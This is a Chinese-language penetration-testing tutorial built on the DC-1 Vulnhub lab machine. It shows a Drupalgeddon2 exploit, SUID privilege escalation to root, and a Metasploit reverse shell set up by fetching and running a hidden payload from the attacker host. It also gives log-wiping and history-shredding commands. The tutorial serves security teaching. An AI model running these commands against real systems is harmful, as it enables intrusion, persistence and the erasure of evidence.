渗透测试实战全流程：从情报收集到后渗透

1. 渗透测试实战全流程概述

渗透测试（Penetration Testing）是信息安全领域最硬核的实战技能之一。作为从业十年的安全工程师，我习惯把渗透测试比作"黑客视角的安全体检"——通过模拟真实攻击者的行为路径，系统性发现目标系统中可被利用的安全漏洞。与自动化扫描工具不同，渗透测试需要测试者具备完整的攻击链思维，从信息收集到漏洞利用，从权限提升到痕迹清除，每个环节都考验着技术深度和创造性思维。

在合规层面，金融、医疗等行业强制要求定期渗透测试；在攻防实战中，红蓝对抗演练也依赖渗透测试技术。根据OWASP Top 10和MITRE ATT&CK框架，现代渗透测试已形成标准化的流程体系，主要包括五个阶段：情报收集（Reconnaissance）、威胁建模（Threat Modeling）、漏洞分析（Vulnerability Analysis）、漏洞利用（Exploitation）和后渗透（Post-Exploitation）。接下来我将结合DC-1、Corrosion等热门靶机的实战案例，详解每个阶段的技术要点。

2. 前期准备与环境搭建

2.1 渗透测试工具链配置

Kali Linux仍是渗透测试的首选系统，其预装了300+安全工具。建议使用2024.2最新版本，重点配置以下工具集：

# 更新工具库 sudo apt update && sudo apt full-upgrade -y # 安装增强工具 sudo apt install -y seclists wordlists gobuster sqlmap nikto

网络配置需特别注意：

• 使用桥接模式保证测试机与靶机同网段
• 禁用无关服务避免干扰：sudo systemctl stop apache2 mysql
• 配置持久化工作目录：mkdir -p ~/pentest/{recon,exploits,logs}

2.2 靶机环境部署

以DC-1靶机为例，其包含5个flag的典型Web应用漏洞链：

1. 下载OVA文件导入VMware/VirtualBox
2. 设置网络为NAT模式（需与Kali同网段）
3. 通过netdiscover -i eth0 -r 192.168.x.0/24发现靶机IP
4. 使用ping -c 3 192.168.x.x测试连通性

关键技巧：在/etc/hosts中添加靶机解析记录，如192.168.1.105 dc1.vuln，方便后续访问

3. 情报收集阶段实战

3.1 主动信息收集

使用Nmap进行全端口扫描的进阶命令：

nmap -sS -sV -O -T4 -p- -A --script=vuln -oN ~/pentest/logs/nmap_full.txt 192.168.1.105

参数解析：

• -sS：SYN隐蔽扫描
• -sV：服务版本探测
• -O：操作系统识别
• --script=vuln：运行漏洞检测脚本

针对Web应用的目录爆破推荐使用Gobuster结合SecLists字典：

gobuster dir -u http://dc1.vuln -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html -t 50 -o ~/pentest/logs/gobuster.txt

3.2 被动信息收集

利用OSINT技术发现敏感信息：

• 使用theHarvester收集邮箱：theHarvester -d example.com -b google
• 检查Wayback Machine历史快照
• GitHub搜索公司名+关键词（如"password"、"config"）

在DC-1靶机中发现的关键信息：

• robots.txt暴露/admin路径
• 页面注释包含"flag1: {CMS版本提示}"
• 使用Wappalyzer识别出Drupal 7 CMS

4. 漏洞利用与权限提升

4.1 Web应用漏洞利用

发现Drupal 7后，使用Searchsploit查找已知漏洞：

searchsploit drupal 7

针对Drupalgeddon2漏洞（CVE-2018-7600）的利用步骤：

1. 下载利用脚本：searchsploit -m 44449
2. 修改脚本中的目标URL和回调IP
3. 执行攻击获取Web Shell：

python2 44449.py http://dc1.vuln -c "whoami"

获得初始立足点后，查找flag2的关键命令：

find /var/www -name "*flag*" -type f 2>/dev/null

4.2 权限提升技术

在DC-1靶机中发现SUID权限异常：

find / -perm -4000 -type f 2>/dev/null

利用find命令的SUID特性进行提权：

touch /tmp/shell find /tmp/shell -exec "/bin/sh" \; whoami # 确认变为root

获取flag5的完整路径：/root/thefinalflag.txt

5. 后渗透与痕迹清理

5.1 横向移动技术

使用Metasploit框架建立持久化通道：

msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit

在靶机上执行：

wget http://192.168.1.100/shell.elf -O /tmp/.systemd chmod +x /tmp/.systemd /tmp/.systemd

5.2 日志清除方法

清除Apache访问日志：

echo "" > /var/log/apache2/access.log

删除bash历史记录：

shred -zu ~/.bash_history history -c

6. 渗透测试报告编写

专业报告应包含以下核心部分：

1. 执行摘要：用非技术语言说明风险等级
2. 技术细节：
   • 漏洞列表（按CVSS评分排序）
   • 漏洞验证POC截图
   • 受影响系统拓扑图
3. 修复建议：
   • 立即措施（如关闭端口）
   • 长期方案（如代码审计）
4. 附录：
   • 完整Nmap扫描结果
   • 利用脚本代码片段

示例风险评级表：

漏洞类型	CVSS评分	影响程度	修复优先级
RCE漏洞	9.8	高危	紧急
SQL注入	8.5	高危	高
XSS漏洞	6.1	中危	中

7. 常见问题与排错

7.1 工具使用问题

Q：Metasploit连接失败？

• 检查防火墙规则：sudo ufw status
• 验证监听状态：netstat -tulnp | grep 4444
• 尝试不同payload（如reverse_https）

Q：SQLMap无法检测注入点？

• 添加level和risk参数：--level=5 --risk=3
• 指定伪静态参数：--prefix="')" --suffix="--"

7.2 靶机环境问题

DC-1 flag找不到？

• 检查所有用户目录：/home/*/
• 搜索隐藏文件：find / -name ".*" -type f
• 查看数据库内容：mysql -u root -p'password' -e "use drupaldb; show tables;"

8. 渗透测试学习路径建议

1. 基础阶段：

   • 掌握Linux基础命令
   • 理解TCP/IP协议栈
   • 学习OWASP Top 10漏洞原理

2. 工具进阶：

   • Burp Suite高级功能（Scanner+Intruder）
   • Metasploit模块开发
   • IDA Pro逆向分析

3. 实战提升：

   • Hack The Box持续挑战
   • Vulnhub靶机系列（从DC到Corrosion）
   • CTF比赛（如BugKu、XCTF）

我个人的学习心得是：每天坚持2小时靶机练习，建立漏洞利用的"肌肉记忆"。遇到复杂漏洞时，先研究漏洞原理（如CVE详情），再动手复现，最后思考防御方案。这种"三位一体"的学习方法效果最佳。